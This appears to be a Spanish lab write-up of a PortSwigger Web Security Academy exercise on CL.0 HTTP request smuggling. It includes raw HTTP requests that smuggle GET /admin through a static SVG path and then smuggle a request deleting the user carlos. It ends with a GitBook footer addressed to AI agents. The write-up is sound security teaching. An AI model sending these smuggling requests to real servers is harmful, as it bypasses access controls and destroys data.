> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/cl-0-request-smuggling.md).

# Contrabando de solicitudes CL.0

### 0.CL Smuggling de solicitudes

#### **Resumen del laboratorio**

En este escenario, un **CL.0** se explota una vulnerabilidad, en la que el servidor back-end \*\* ignora el encabezado Content-Length\*\* para algunas rutas. Esta inconsistencia permite inyectar una segunda solicitud en el cuerpo de una solicitud POST aparentemente normal.

#### **Identificación del punto vulnerable**

Después de algunas pruebas, encontramos que la URL:

```
/resources/images/blog.svg
```

es tratada de manera diferente por el backend:/ incluso si Content-Length se establece en cero, el servidor recibe **todo el contenido proporcionado**, creando una ventana perfecta para el smuggling basado en CL.0.

#### **Inyección de una solicitud oculta**

Primero se envía una solicitud POST mínima para confirmar el comportamiento:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 0
```

A continuación, aprovechamos el hecho de que el back-end lee, pese a todo, el contenido destinado a él **contrabandear una segunda solicitud**, con el objetivo de llegar al panel de administración:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin HTTP/1.1
Prueba: A
```

El back-end interpreta la parte inyectada como una solicitud independiente y nos permite eludir las restricciones del front-end.

<figure><img src="/files/b3dd54371da413b193f164beec7868c404854d29" alt=""><figcaption></figcaption></figure>

#### **Eliminación del usuario Carlos**

Una vez confirmado el acceso al panel de administración, se inyecta una solicitud similar para desencadenar la acción:

```http
/admin/delete?username=carlos
```

Esto da como resultado:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin/delete?username=carlosHTTP/1.1
Prueba: A
```

<figure><img src="/files/13ea61c3aeb629b911cbb353845100a36bf4f9c8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/cl-0-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
